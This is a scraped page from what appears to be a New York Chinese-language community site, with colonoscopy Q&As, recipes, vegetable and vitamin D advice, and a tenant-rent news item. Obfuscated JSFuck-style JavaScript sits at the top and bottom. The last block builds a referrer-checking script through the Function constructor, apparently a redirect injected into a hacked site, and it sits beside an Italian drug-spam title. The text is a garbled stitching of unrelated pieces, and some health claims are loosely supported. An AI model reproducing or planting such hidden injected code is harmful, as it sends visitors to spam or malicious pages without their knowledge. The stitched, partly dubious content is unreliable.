$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})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2021-03-06 / by / in , , ,
做肠镜检查的主要目的是什么?纽约肠胃科专家荆彤医生为您讲解

荆彤医生毕业于约翰.霍普金斯医学院,是美国少数拥有治疗性内视镜执照的专家,鉴于很多人仍不了解肠镜检查的目的,荆彤医生在此为大家做详细讲解。

我们做肠镜的目的主要是预防肠癌的发生。

肠镜检查能看到病人肠粘膜表面有没有肠炎的表现,有没有充血,有什么溃疡,有没有长息肉。如果有息肉,这些息肉继续发展的话很可能会变成肠癌。我们是希望赶在肠癌发生之前把肠癌阻止住。

因为肠癌的发生有一个从息肉到肠癌演变的过程,如果我们看到息肉,把息肉当时就切掉了(我们看到每个息肉都要切掉的)。切掉之后送去化验。这样息肉已经切除了就没有让它变成肠癌的基础了。这就是做肠镜最大的最大的好处:就是让肠癌没有发生的基础。

按现在的医学统计,50岁以上的病人息肉的发生率男性是25%,女性是20%。所以基本上每做五个肠镜就至少有一个病人会找到息肉。息肉癌变的机会也跟息肉的大小有关系。一般情况下长得越大的息肉(超过1公分的息肉)以后癌变的可能性就会越大。癌变可能性还跟息肉的形态有关。如果息肉长得跟菜花似的,这样的息肉的癌变的可能性好像就会更大。还有一种息肉是平的息肉,比较扁平,这种息肉更难发现,所以就要求医生一定要仔细小心。如果医生不注意或者病人清肠没有清得很干净就很容易漏掉。这种扁平的息肉癌变的机会就更大。

如果病人肠内发现了息肉,那么这种病人一定要半年、最长一年就要回来再复查一次肠镜,看那个息肉有没有复发,另外看看当时切了有没有切干净。因为一般息肉的病人他可能在原位还有在其他的位置可能还要长息肉,所以这种病人要缩短做肠镜的间隔。

2021-03-06 / by / in , ,
素梅菜扣肉:一块豆腐 二个杏鲍菇 保你喜欢(视频)

素梅菜扣肉/杏鲍菇/豆腐

现在有非常多的人群喜欢素食,我们今天就和你一起分享一道素版的梅菜扣肉。

其主要食材就是杏鲍菇和豆腐,加上梅菜干上锅一蒸就可以了。豆腐充分吸收了梅菜和杏鲍菇的香气,咸香入味。杏鲍菇营养非常丰富,富含蛋白质、和各种矿物质,可以提高人体免疫功能。

材料:

梅菜干 适量,老豆腐 1块,杏鲍菇 2个,蒜 2瓣,

调料:

白糖 1茶匙,生抽 2汤匙,蚝油 1汤匙

做法:

1. 准备工作:梅干菜事先用开水浸泡20分钟,杏鲍菇洗净切成厚片,老豆腐切片。梅菜干泡软后切碎。

2. 煎豆腐和杏鲍菇:平底锅中放适量油,将豆腐放入煎成两面金黄后取出,杏鲍菇也煎成两面金黄后取出。

3. 炒梅菜干:锅中放油,放入蒜碎和梅菜干炒香,放入酱油,蚝油和糖翻炒均匀。

4.蒸扣肉:将一片杏鲍菇一片豆腐摞起来,码放到碗中,倒上炒好的梅菜干酱汁,蒸30分钟。然后用一个盘子盖住碗,倒扣过来即可。

2021-03-06 / by / in ,
春季吃蔬菜有禁忌 避免带来身体不适

春季/应季蔬菜/禁忌隔夜菜/豆芽/鸡毛菜/韭菜/菠菜/蔬菜焯水/大火快炒

蔬菜是人类日常生活中不可缺少的食物之一,蔬菜品种众多,形态各异,口感和营养都不相同。

蔬菜中含有各种无机盐、矿物质、维生素等,这些营养成分都是人体必需的物质。所以说,多吃蔬菜能够为身体补充养分。春季应季蔬菜多,建议要多吃蔬菜,但是蔬菜可不是乱吃的。需要了解一些吃蔬菜的禁忌,避免给身体带来不适。


应季蔬菜

春季吃蔬菜有什么禁忌?

1、不要吃隔夜菜

有很多家庭煮菜的时候,喜欢煮多一些,怕煮少了不够吃。如果吃不完的话,可以第二天接着吃。这样的饮食习惯并不好,因为隔夜菜中的营养物质会流失,而且放置了一晚上之后,菜肴很容易滋生细菌而被污染。

经常吃隔夜菜很容易损伤肠胃,诱发各种肠胃问题,甚至还有可能出现食物中毒。

2、豆芽吃整棵

很多将豆芽买来之后,习惯性将豆瓣丢掉,只吃上面部分的芽。可是这样子其实很浪费,因为豆芽中的维生素C含量,大部分存在豆瓣里面。要比上面嫩芽部分的维生素C含量,高出两三倍。

春日食春芽,比如说豆芽、香椿芽、蒜苗等,都是春季应季的蔬菜,食用它们有非常多的好处。其中,在春季的时候,需要多吃豆芽。因为豆芽具有发散功能,有助人体生发阳气,还有利湿效果。


豆芽

为了获得豆芽中更多的热量,建议清洗豆芽的时候,千万不能把豆瓣扔掉只吃嫩芽。

3、炒蔬菜要大火快炒

蔬菜中含有大量的维生素B1、维生素C等,这些营养物质怕热怕煮,如果炒菜的时候加盖闷煮,会损失一半以上的维生素C。如果将蔬菜焯水沥干后,再放入锅中炒,蔬菜中的维生素C,则会流失百分之八十以上。

所以说,平日里炒蔬菜的时候,建议大火快炒。减少烹饪的时间,能够避免蔬菜中的维生素大量丢失。同时为了更好地保存维生素,建议快炒过程中,加入少许的醋。

春季应季蔬菜吃什么好?

1、鸡毛菜

这是小白菜幼苗的俗称,春夏秋冬都有售卖,其中春夏两个季节的鸡毛菜,口感最佳。现在是春季,鸡毛菜可是应季蔬菜,应该多吃一些。

而且鸡毛菜中存有大量的维生素,硒元素、钾元素等,春季吃它能够为人体补充丰富的营养物质。再者鸡毛菜有助消退荨麻疹,容易过敏的人群可以多吃些。


韭菜

2、春韭

春季的韭菜味道独特,此时吃它口感非常不错。建议日常可以买些春韭炒食,或着说煮汤,做成饺子馅包饺子吃等等,都是味道都不错。

春季多吃韭菜好处很多,比如说有助滋养阳气。而且其热量非常低,富含微量元素、维生素、膳食纤维等,能够为身体补充养分,促进功能发挥。

3、菠菜

这是春季常见的蔬菜,用大火快炒菠菜,或者说用开水烫熟了凉拌食用,味道相当美味。而且祖国医学认为,菠菜具有润燥的作用,春季天气干燥,吃它正合适。


菠菜

另外,菠菜中含有维生素C和K,胡萝卜素、矿物质等等,吃它能够起到养血作用,对身体健康有益处。对此,建议日常可以多吃些菠菜,比如说早起喝完菠菜粥,帮助养胃养血。

2021-03-06 / by / in
肠镜检查后当天可以上班吗?法拉盛肠胃科专家荆彤医生为您解答

除从事特殊行业的外,大部分人在做完肠镜检查的当天就可以回去上班。

现代的医学条件下麻醉实际上是很安全的。之所以安全是因为现在的新的麻醉药都很短效,医生停止做肠镜以后一般两到三分钟病人就清醒了。实际上病人不需要很长时间的观察。很多病人清醒之后就可以马上进食了。当然了这要医生做决定看病人是不是可以马上吃东西。大多数情况下病人都可以马上恢复正常饮食。我们诊所有很多病人,百分之八十的病人如果当天需要回去上班的都回到了自己的工作岗位。

当然有一些特殊的职业,比如说那个专业计程车司机,开汽车的司机至少四个小时不能开车。其他的有些行业比如说他要用一些电的设备啊,比较笨重的电子设备,像一些建筑工人需要用电锯啊,操作一些重大的设备,这个我们也建议他不要马上回去上班,需要先稍微暂缓一下。

一般情况下,很多行业的都是回去正常工作了,都没有什么问题。在饮食上也没有什么改变。

2021-03-05 / by / in , , ,
做肠镜检查需要打麻醉吗?打麻醉安全吗?纽约肠胃科专家荆彤医生为您解答

很多中国人的想法就是害怕打麻醉,其实这是一种错误观念。现在的麻醉都比较短效,越短效越安全。做肠镜整个过程也就是10分钟到15分钟,这个过程很快,所以麻醉时间是很短的。

中国人都怕麻醉,担心麻药是不是会伤脑子、伤神经,实际上这种担心是没有必要的,我们这也从来没发生过病人因为麻醉出现其他的问题。而且麻醉状态下病人比较放松,不会因为难受动来动去的,这样医生检查起来比较轻松,大大小小的息肉也容易观察的到。

打麻醉也没有年龄限制。在我们这里做过肠镜检查的最大年龄是99岁,也都是很安全的,小的十几岁的病人都可以做。到目前为止还没有出现任何重大的故障。

2021-03-05 / by / in , ,
肠镜检查前病人需要做哪些准备?法拉盛肠胃科专家荆彤医生为您解答

肠镜检查前病人需要做哪些准备?

法拉盛肠胃科专家荆彤医生为您解答

肠镜检查之前,要让肠胃科医生先对病人进行一些评估:比如看病人有什么基础病,心脏、肺有没有问题。因为一般在美国做肠镜都要经过麻醉,所以医生要事先看一下病人能不能承受住做这个检查。当然要求也不是很高,一般情况下病人都可以承受。

准备肠镜呢就是要求病人要清肠。在肠镜检查的前一天,病人可以吃比较清淡的早餐,中餐晚餐就不能吃了。下午晚上的时候喝那个清肠药。我们诊所都有这种安排,会跟病人一条条讲清楚,一般都没有问题的。虽然头一天不能吃中餐晚餐,但是病人全天的都可以喝水,苹果汁汽水这些透明的东西都可以喝。

 

2021-03-05 / by / in , , ,
什么是肠镜检查?纽约肠胃科专家荆彤医生为您解答

什么是肠镜检查?

肠镜检查主要是分为两大类,一个是叫诊断性肠镜检查,还有一种是肠癌筛检性肠镜检查。

诊断性肠镜检查跟年龄没有什么太大关系,病人只要有症状,医生觉得有适应症,就可以随时安排作肠镜。适应症包括大便里出血、病人腹痛或者大便习惯的改变。比如有患者原来大便很正常,现在突然便秘或者拉肚子。肠胃科医生觉得需要做肠镜的检查,这就跟年龄没有关系,可以随时进行检查。做肠镜的时候如果发现病人有什么肠炎啊、息肉需要切除的,这些都可以当时进行诊断、治疗。如果病人有肠道出血也可以及时的止血。这就是属于诊断治疗性的肠镜。

另外一种是筛检性的肠镜。一般来说,即使病人没有家族史也没有任何症状,到了50岁应该做第一次肠镜。但现在根据医学的研究,很有可能很快就会将这个年龄提前到45岁。这种筛检性的肠镜目的是看看病人肠子里有没有息肉啊,有没有肿瘤啊,这个就是跟年龄是有关系的。很多病人会有疑问,说我这么年轻是不是不需要做肠镜?这个实际上是病人把这两种概念混淆了,有的时候做肠镜检查跟年龄是没有关系的。

2021-03-05 / by / in , , ,
虾干:美味健康的小零食 (视频)

虾干/虾

带皮虾又脆又酥太好吃了,那么是怎么做的呢,我们一起来看看视频。

其实虾干是一道非常美味的小零食,而且比甜味零食吃起来更加的健康,并且有饱足感。因此这种零食适合平时放在包里,下班的路上如果饿了可以随时吃。在整个烹饪过程中没有任何的添加剂,所以很健康。

食材:

带皮虾,盐 适量

做法:

1. 将虾线剔除干净后,洗净放入锅中加适量的盐煮至半熟就可以了,最后浸泡10分钟,让虾入味。

2. 将煮好的虾放入烤盘中,烤箱温度设置到90度烤1.5-2个小时。因为每个烤箱的功力都不一样,温度和烤的时间自己把握。烤制的过程中可以随时拿出来看一下是否烤好了。

2021-03-05 / by / in ,
抗击病毒风险 真正补充维他命D

维他命D/抗击病毒/晒太阳/阳光直射/防晒油/紫外线/鲑鱼/牛奶/藻类/补充剂

缺少维他命D,会有疫情风险这不是一句玩笑,据美国医学院研究团队指出,摄取足够的维他命D,会减低感染中共病毒(新冠病毒)的风险。

维他命D 的来源 1 :晒太阳

不过想要以晒太阳的方式获得维他命D 有一个限制,不是光晒太阳就有用,还要晒对了才会有维他命D。


晒太阳

因为太阳光的波长是有很长一段范围的,但只有波长在290 ∼ 315 nm 的太阳光才有能力把皮肤底下的维他命D 前驱物转换成维他命D,但早上和下午的太阳都是斜射的,所以阳光经过大气层的距离会比较长,能有效转换维他命D 这段波长的阳光会被过滤掉很多。

所以如果想靠晒太阳得到维他命D,最好是中午11 ∼ 13点时,阳光直射时穿过大气层的距离短,而且请不要擦防晒油⋯⋯。

《慢跑俱乐部》发布,在台湾,若想采用晒太阳补充维他命D,还必需考虑紫外线的问题。尤其是中南部一年之中有一半以上的时间,紫外线都呈现过量级或危险级,只要没有做好防晒,你的皮肤在大太阳下晒超过15 ∼ 20 分钟就容易晒伤,长期下来反而会提早衰老及增加皮肤癌等问题。

另外,我常跟大家强调,晒15 分钟的太阳,身体的维他命D 大概就是到保骨本、预防骨质疏松的程度而已。根据这几年的研究显示,如果想达到抗癌的浓度,光晒阳光是不够的,因为不管再怎么晒,体内维他命D 的浓度到了一个程度就上不去了,所以多晒无益,还是得靠口服的维他命D 来补充,才能达到抗癌的浓度。


晒太阳

另外,大家会不会认为既然我们身上这么缺乏维他命D,是不是晒越久就可以产生越多的维他命D ?其实,晒越久维他命D 的浓度并不会越高,原因有两个:一、当你晒太阳皮肤产生维他命D 后,需要血液把维他命D 运走到其它器官,如果不停的继续晒,阳光会把这些来不及被血液运走的维他命D 转换成其他产物;二、晒越久你的皮肤会越黑,皮肤越黑阳光也会被阻挡住。

所以,如果要靠晒太阳来补充维他命D,只需要晒10 ∼15 分钟即可,晒30 分钟并不会比晒15 分钟的浓度多更多,重点还是在于选对晒太阳的时间。

维他命D 来源 2 :食物

补充维他命D 的第二个途径是从食物中而来,但人体肠胃道对维他命D 的吸收并不好,加上食物里其实含有维他命D 的种类不多,就算有,量也不高,所以要完全靠食物获得充足的维他命D,其实是有相当的困难。


鲑鱼

一般的食物中,有哪些可以获得维他命D 呢?最常见的就是鱼类,尤其是鲑鱼。但如果要一个人一天到晚吃那么多鲑鱼,可能会觉得恶心想吐吧。除了鱼类,其他像是牛奶、植物、藻类都含有少量的维他命D,可是植物、藻类的维他命D又不太一样。维他命D 有分D2 和D3,在动物里面的大概都是D3,植物里面是D2,这两个的作用还是有差别的,D3 的作用比D2 强。

所以要从食物中摄取维他命D 的话,可以多吃鱼类、藻类、香菇这类食物,但人体肠道对维他命D 的吸收并不佳,所以单纯想靠食物补足维他命D 的话,可能还是有些难度,还是建议可额外吃一些综合维生素或是维他命D 专门的补充剂,更为直接有效果。

除了阳光、食物,最后就是补充剂了。

很多人会问我,补充剂有哪些、要怎么选?


维生素D

现在在市面上可以看到的,有些是锭剂、胶囊,也有些是滴剂。很多人都问我哪个比较好,我的建议是视个人体质而定,你吃锭剂效果好,他吃滴剂效果好,怎么评估要选哪种呢?所以很简单,就看你补充完,血中维他命D 浓度有没有上升就好,只要你吃了之后,血​​中浓度有上升,就代表你的肠胃道对这一个品牌或是类型的吸收效果很好。当然还要看你吃了这一牌的维他命D后,有没有任何不舒服的情形。

所以没有那一品牌最好,选择适合自己的就是最好。

2021-03-05 / by / in
纽约肠胃科医生分享自己做肠胃科医生的选择经历?

纽约胃肠肝胆疾病治疗专家荆彤医生经过20年的专业学习及临床实践,最终成为胃肠肝胆疾病治疗的专家,谈起当初为何选择这个专业,荆医生给出了自己的答案:在内科中,唯有肠胃科医生不但能为患者作出诊断,还能在胃肠镜下为患者实行手术,解除病人的痛苦。比如病人胃出血,在胃镜下可以找到出血点,并通过手术进行止血。在过去胃肠镜技术还没出现的时代,病人如果出现胃出血,通常实行胃切除手术来质量,而现在胃镜下就能止血,不需要进行胃切除了。大大减轻了病人的痛苦,并且保障了病人未来的健康。

纽约荆彤肠胃科医生

电话: (718) 886-9819

地址:136-68 Roosevelt Ave 3rd floor, Flushing, NY 11354

网站:tjgastro.com

2021-03-04 / by / in , , ,
“疫情期失业关门”可否用这个理由不交房租?

疫情期间,房东房客纠纷激增。纽约州政府规定在今年5月1日之前,房东禁止驱逐租客,但禁止驱逐不等于租客可以不交租金。那么如何处理房东与房客之间的纠纷?另外近期针对亚裔的犯罪上升,亚裔如何保护自己?市议会第20选区市议员参选人王能(Neng Wang)3日宣布,他将与律师事务所合作举办系列讲座,讲解关于房东房客纠纷的解决建议,第一场讲座在3月10日。

王能表示,不少租客因疫情关门、失业造成无法按时交租,与此同时房东却因收不到租金造成无力偿还贷款。这些纠纷有什么解决之道?房客收到驱逐令怎么办?房东如何保障自己的权益?房东能否私自换锁?有签约与无签约,有什么区别?3月10日他将邀请“凯森律师事务所”合伙律师刘芳、“智德律师事务所”合伙律师吴凌,在线上为大家讲解。

刘芳律师表示,受疫情冲击,市面上商铺、商业楼宇出现租赁纠纷的比例高达95%,几乎每一座商业楼宇都遇到商家欠租的问题,尤其是去年3月到6月政府实施“暂停令”期间的租赁争执最多,“租客说,是政府强制要求我关门,我也没有使用铺面;但是房东说,我租给你了,你要负责任,你用不用、政府有什么命令,这不关我事。双方僵持不下。”

刘芳说,根据法律,政府禁止房东驱逐租客不等于租客可以不交租金。而且据她查以前的判例,在经济大萧条时,租客交不起租金,案件打到最高法院,判决租客还是要付租金。

吴凌律师说,人们以为商业楼宇的租金是一个月一个月交的,但是签下商业租约,就等于租客欠下了全部租期的租金,按月交租只不过是分期来缴交而已。

那么能否以生意不好来作为减免租金的理由呢?吴凌表示,在法律上没有这样的规定,“因为做生意是有风险的,你租下商业楼,说明你愿意承担这个风险。法律上不会因为你生意不好就可以不用付租金。”

但是两位律师认为,房东房客纠纷最好的解决办法是协商——从房客的角度,看看租金能否减免或者暂缓支付;从房东的角度,钱收不到,看看能否考虑是由于政府要求关门或者商家没有生意的原因,给予租客方便,等等,“就算房屋法庭在5月1日开放,但是案件猛增,加上积压,案件势必拖很久;另外,房屋法庭也可能是分步骤开放,所以协商解决是最佳办法。”

第一场讲座时间:3月10日(周二)晚上7点半;登录此链接参加会议:www.WangForFlushing.com。咨询电话:718-550-5959

2021-03-04 / by / in
一旦突然断电,如何做出迅速的反应?

停电/冰柜/冰箱/断电/温度/变质食物

天有不测风云,一旦突然断电,我们应该用什么办法迅速做出解决?

大家都知道前不久一场猛烈的冬季暴风雪来袭,使得美国德州有四百万家庭断电,饮水和粮食的需求量猛增。为了安全起见,当地居民需要把冰箱里的食物处理掉。人们要如何面对这种紧急的突发情况,如何安全的处理和保存食品?

如有发现变质食物不可吃

曾经有个朋友在搬家的过程中,把食品放在移动式冷藏箱中,没想一箱的海鲜化掉都不能吃了。特别是虾有变色,绝不可以吃,曾经有人在餐馆吃的虾不新鲜,由开始的胃部不适中毒导致肠梗阻,所以在紧急情况下确保食物的安全食用更为重要。

尽量保持冰箱温度

家中的一切电器分分秒秒都离不开电,特别是冰箱冷藏和冷冻的食品,没有电不但没办法长久保存,而且可能会随着断电时间的延长而变质。因此在不知断电时间的长短时,尽量维持冰箱现时的温度十分必要。

尽量维持冰箱温度

1.首先,如果家中有易腐烂的食品可以尽快放入冰箱。有健康专家表示,最好将易腐食品转移到冷藏箱尽快吃掉(Cooler:一个保温的盒子,可以在里面放食物和冰,然后去野餐)。

2.其次,不要轻易开启冰箱,避免冷空气会随着冰箱门的开合流失,箱内温度随之上升。在断电前的温度尽量让它保持。

根据美国疾病控制与预防中心(CDC)的说法,如果保持冷藏室门关闭,冷藏室中的食物可保存四个小时安全食用;如果保持冷冻室的门关闭,在全满的冷冻室内食物可保存48小时(半满的冷冻室中,食物可存24小时)安全食用。

3.CDC建议,将温度计放在冰箱冷藏室和冷冻室中,以确保冷藏室温度在40°F(4.4°C)或以下,冷冻室温度保持在0°F(-17.8°C)或以下。

4.CDC还建议使用冰袋或冰袋凝胶包,以帮助将食物保持在40°F(4.4°C)或更低温度。

美国国家公共卫生研究所表示,如果可以的话,请在冷藏室中存放置冰袋凝胶包,作为短期解决方案,以使冰箱内食品保持低温;或者使用干冰,这是将食品冷藏在冰箱中的另一种选择。


处理掉容易腐烂的食物

处理掉容易腐烂的食物

CDC指南说,四个小时后要处理掉容易腐烂的食物,例如生肉、生鱼、切好的水果、蔬菜、牛奶等。还要确保监视冷藏室中的温度。

当电源恢复正常时,请检查冰箱的温度。如果它仍然低于4.4°C,就会知道里面的东西不会有问题,如果它高于这个温度并且怀疑它已经超过两个小时,那么就要进行清理了。

据The Kitchn网站的信息,在断电期间,硬质奶酪、黄油、干果、面包、冷冻华夫饼和煎饼,生蔬菜、草药和调味品等食品也可以在短期内安全保存。

根据CDC指南,消费者可以重新冷冻或烹饪保存在40°F(4.4°C)或以下的解冻食品。

2021-03-04 / by / in , , ,
蔬菜怎么吃有讲究 这几种蔬菜一定要煮熟吃

蔬菜/煮熟/生吃/四季豆/竹笋/马铃薯/木耳/中毒/白果/生食/红薯/蚕豆/毛豆

蔬菜在生活中是不可食用的主要食物之一,肉可以不吃,但蔬菜一定要有,并且人们对吃蔬菜也是有些讲究的。

蔬菜,怎么吃对人的身体最有益,也有很多说法,有人喜欢吃生的,有人喜欢吃熟的,有人喜欢吃嫩的,有人喜欢吃老的,不管怎么吃,但最终有一点,就是一定要对身体有瑕才是最重要的。
某些蔬菜一定要煮熟吃

人们的菜篮子里经常会看到豆类菜,如四季豆,蚕豆等;替代淀粉质的根茎类,如莲藕,地瓜,马铃薯等;富含氰化物类物质的菜,如木薯,竹笋等;十字花科蔬菜,如青花菜,高丽菜等以及,还有木耳,白果等。注意到的这些菜是一定要煮熟才能食用的。

豆类菜

例如,红腰豆含有的植物血球凝集素会刺激消化道粘膜,并破坏消化道细胞,降低其吸收营养成分的功能,如果毒素进入血液,即将破坏红血球及其凝血作用,导致过敏反应。

蚕豆种子中含有巢菜碱苷,人们食用了这种物质后,可引起急性溶血性贫血(蚕豆黄病)。春夏两季吃青蚕豆时,如果为了防止出现蚕豆中毒,最好不要吃新鲜的嫩蚕豆,而且一定要煮熟后再食用。


春夏两季吃青蚕豆时,如果烹制不当,常导致人发生中毒现象。

毛豆没煮熟熟也会含有血球凝集素,抗氧化蛋白酶之类的物质,血球凝集素被人体吸收后,可以让血液中的红血球凝聚,造成身体不适症状。活性,相互会导致消化不良,同时会造成较大的肿大,该类物质进入到人体体内健康造成的影响,甚至会引起中毒反应,导致恶心,呕吐,腹痛,腹泻,头晕,头痛,四肢麻木等症状。但是只要将毛豆煮熟再吃,这些毒性物质就会失去活性,因此不会对人体健康造成影响。

四季豆中含有的额皂素,是一种对人体健康极端不利的有毒物质,食用之后对人体肠胃会产生不利影响,不能被人体的解毒功能完全分解,所以有人食用后很容易出现呕吐,头晕,腹泻等情况,四季豆一定要完全烹制成熟后食用,这样营养价值可发挥,也不会使人体健康造成不利影响。

如果豆芽没煮熟,食用是有毒的。食用后可能会引起恶心,呕吐,腹泻,头晕等不良反应。

明显淀粉质的根茎类

红薯不宜生吃,因为生红薯中淀粉的细胞膜被高温破坏,很难在人体中消化;煮红薯时,还应适当延长蒸煮的时间,以有利于红薯中所含有的“气化酶”被破坏掉,吃后才不会出现腹胀,烧心,打嗝,反胃,排气等不适的感觉。

马铃薯不熟最好不吃,首先是口感不好,有一种土腥味和生涩味;其次豆淀粉含量高,生的淀粉粒人体不能消化,再者含有龙葵素有毒蛋白质,吃生土豆,可能使人体血液中红血球凝集起来,会引起恶心,呕吐,腹泻。

莲藕长期生长在水中,污泥中,而水和污泥中有许多寄生虫,细菌等,所以莲藕最好还是煮熟吃。好少食或改食熟藕。


竹竹笋不能生吃的,因为竹笋当中有大量的草酸会刺激胃肠道

氰苷类物质的菜

木薯不能生吃。因为木薯为含氰苷类植物,其中氰化物被酶或酸解后能释放出氢氰酸。氢氰酸为原浆毒,当被吸收后,氰离子即与人体中的细胞色素氧化酶中的铁结合,致使呼吸酶失去活性,氧不能被细胞组织利用,导致组织缺氧而处于窒息状态。

竹笋不能生吃的,因为笋当中有大量的草酸,生吃变成大量的草酸进入注入道,刺激注入道,破坏退化道功能的,如果把笋放在锅里焯一下。大量草酸会去除,而且纤维素会变少,既去掉多余的物质,甚至增强口感,但是硝酸酯酶功能缺陷的人还是不要吃笋。

十字花科蔬菜

青花菜,高丽菜,大头菜,芥菜,小白菜,白萝卜等属于十字花科,含有甲状腺肿素,会阻碍身体吸收碘。故煮熟吃为最佳。生的高丽菜丝,或者火锅沾酱里的白萝卜泥,少量食用后不会有影响。

木耳

木耳一般都是干的,新鲜采摘下来的木耳,没有经过高温处理,也含有一定的细菌,生吃了对身体没有好处,有可能造成食物中毒。有文献指出,木耳含腺苷,生食超过70公克可能导致血小板功能异常。

白果(银杏)

银杏中含有氰化物这种物质,大量生食后,它会导致摄取者出现呕吐,嗜睡,恶心,口唇发麻的中毒症状,严重者将会神志不清,重度昏迷,有生命危险。一定要煮熟才吃,数量也不宜多,应控制在7-10粒以内。

2021-03-04 / by / in
凤梨好处多!专家:减少心血管疾病风险

凤梨/凤梨酵素/维生素/植化素/抗氧化/免疫力/稳定情绪/消除疲劳/改善发炎

凤梨又称菠萝、黄梨,热带水果,原产南美洲,因凤梨多汁酸甜受到广泛人的喜爱。

有位营养治疗门诊客户某天咨询时,突然拿出一张凤梨酵素的药品仿单问:“这是一个邻居说治疗鼻窦炎和卡痰在吃的药,但凤梨里面不是就有天然的凤梨酵素了吗?多吃凤梨应该是不是也有一样的效果呢?”


凤梨

凤梨酵素最多的地方,竟然是这里!

《三立新闻》随着天气渐渐变暖,金黄香甜的凤梨在市场露脸的机会也多了起来,从现在起到七八月都是它的盛产期,非常推荐大家把握当季多吃。凤梨不但含有可抗氧化、提高免疫力的维生素C,其维生素B群也能促进人体新陈代谢,有助稳定情绪、消除疲劳。而我们一般听到的凤梨酵素,又被称为菠萝蛋白酶,因它有帮助分解蛋白质的特性,适合餐后食用让蛋白质的吸收和消化更好,帮助排便。但比较不建议空腹时吃凤梨,因为我们的胃也是由蛋白质组成,尤其是原本胃不好的人会更加敏感,这样吃容易对胃黏膜造成伤害。

有研究发现,凤梨酵素因为有分解纤维蛋白的作用,可预防血液过度浓稠,并增加血液局部流量,所以具有镇热和改善发炎、红肿的效果;药品仿单上提到能舒缓化脓性炎症、支气管炎、鼻窦炎、血栓性静脉炎,以及排出呼吸道与鼻腔内的脓性分泌物、使痰容易咳出,也是同样的道理。至于一般人食用新鲜凤梨的份量,是否足以达到药品等级、缓解发炎症状?效果可能非常有限哦!事实上,凤梨酵素广泛存在于凤梨的茎、果、叶和果皮之中,但含量最高的地方是我们不会吃的凤梨茎,因此无论是做研究或是用来制作药品和保健品,皆是取自于凤梨茎部。


凤梨

另外,凤梨含有多酚和类黄酮等植化素,文献指出其果肉和叶片中所含的对香豆酸(p-Coumaric acid)有抗菌、抗氧化、清除自由基的活性。将萃取物应用在肥胖大鼠身上,血浆总胆固醇和三酸甘油酯都明显降低,因此被认为可能有减少心血管疾病风险的潜力。

单吃、入菜,冷热甜咸料理皆适用


凤梨汁

问过很多身边的朋友,发现大家往往因口感较硬较粗糙,而把中间的凤梨心去除不吃,实在是很可惜的事,因为凤梨心营养丰富且纤维含量更高呢!若是单吃不易入口,很建议把加进料理中,例如做成炒饭、凤梨虾球、煮鸡汤,或是和青椒、甜椒、肉片一起快炒,都能让滋味和口感更丰富;将凤梨切块后和奇异果、甜椒做成沙拉,就是一道能增强免疫的多C料理;也可加入烫熟鸡胸肉或虾仁,淋入巴萨米醋和橄榄油调和的油醋酱,清爽又健康;或者和番茄、苹果煮成甜汤,无论凉着吃或当热菜很适合,还能降低调味料的使用量。

由于凤梨酵素的缘故,腌渍肉类时加入新鲜凤梨确实可有效帮助肉质软化,餐中一块搭配食用也有助肉食顺利消化;但胃部比较敏感的人,建议最好饭后再吃,避免不适。

2021-03-03 / by / in , ,
(视频)专业大厨手下的糖醋排骨 另类做法 耳目一新

糖醋排骨/排骨

糖醋排骨的做法有多个版本,今天和大家分享专业大厨的另类糖醋排骨做法,也非常简单易学。

这道糖醋排骨是一道大甜大酸的口味,做法与以往的做法不同,并不飞水,是用了烤箱来剔除排骨的腥膻味道。

材料:

排骨 500克,冰糖 300克,蒜 3瓣,

调料:

料酒 3汤匙,酱油 2汤匙,盐 少许,镇江香醋 100毫升,

做法:

1. 烤排骨:排骨切小块,给每个小块刷上油,然后放入烤箱,烤箱温度为200度即可烤30分钟后取出。

2. 炒糖色:锅中放入少许油,放入冰糖炒至融化,然后放入微量的水继续炒,当冰糖变成金黄色时将火调小,炒至棕红色时加水,糖色炒后后,直接将排骨放到冰糖里面,放入料酒,酱油,盐,和剩余的冰糖,30毫升香醋,(醋分三次放)少许水大火烧开,焖制30分钟,中间再放一次醋,出锅前再次加入一次醋,大火收汁即可。

2021-03-03 / by / in ,
Pillole Di Mebendazole In Vendita

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,54,55,52,122,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,86,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[